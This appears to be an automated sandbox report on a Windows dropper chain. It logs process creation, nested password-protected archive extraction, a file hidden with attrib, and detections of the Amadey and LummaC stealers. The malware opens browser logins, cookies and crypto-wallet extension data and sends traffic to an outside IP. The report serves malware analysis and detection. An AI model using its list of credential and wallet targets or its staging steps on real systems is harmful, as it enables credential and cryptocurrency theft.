Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 1800
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 5416

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe "C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe "C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe "C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe "C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe "C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe "C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: unknown unknown

Source: 0516ff61af.exe, 00000007.00000002.2666217072.0000000000CAE000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: BProgram Manager
Source: file.exe, 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: uProgram Manager
Source: ed15fdf974.exe, 0000002F.00000002.2989587124.0000000001B20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: ed15fdf974.exe, 0000002F.00000002.2989587124.0000000001B20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: 1b73492cb0.exe, 0000002D.00000002.2989040800.0000000000D7E000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: eProgram Manager
Source: ed15fdf974.exe, 0000002F.00000002.2989587124.0000000001B20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: ed15fdf974.exe, 0000002F.00000002.2989587124.0000000001B20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0037DD91 cpuid

6_2_0037DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DBCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00DBCBEA

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ed15fdf974.exe, 0000002F.00000002.2988356074.0000000001128000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procdump.exe
Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: procmon.exe
Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: wireshark.exe
Source: 0516ff61af.exe, 00000007.00000003.2622110220.0000000001443000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2667332038.0000000001442000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665947915.0000000001441000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: 0516ff61af.exe, 0516ff61af.exe, 00000007.00000003.2605595676.0000000001443000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2604916723.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 9.2.abcebc1047.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.abcebc1047.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Gxtuum.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.Gxtuum.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Gxtuum.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.Gxtuum.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.Gxtuum.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.0.Gxtuum.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1805553534.0000000000361000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0516ff61af.exe PID: 8100, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: ed15fdf974.exe PID: 4564, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 0516ff61af.exe	String found in binary or memory: Wallets/Electrum
Source: 0516ff61af.exe	String found in binary or memory: Wallets/ElectronCash
Source: 0516ff61af.exe	String found in binary or memory: Wallets/JAXX New Version
Source: 0516ff61af.exe	String found in binary or memory: window-state.json
Source: 0516ff61af.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 0516ff61af.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 0516ff61af.exe	String found in binary or memory: Wallets/Ethereum

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49901 -> 185.121.15.192:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
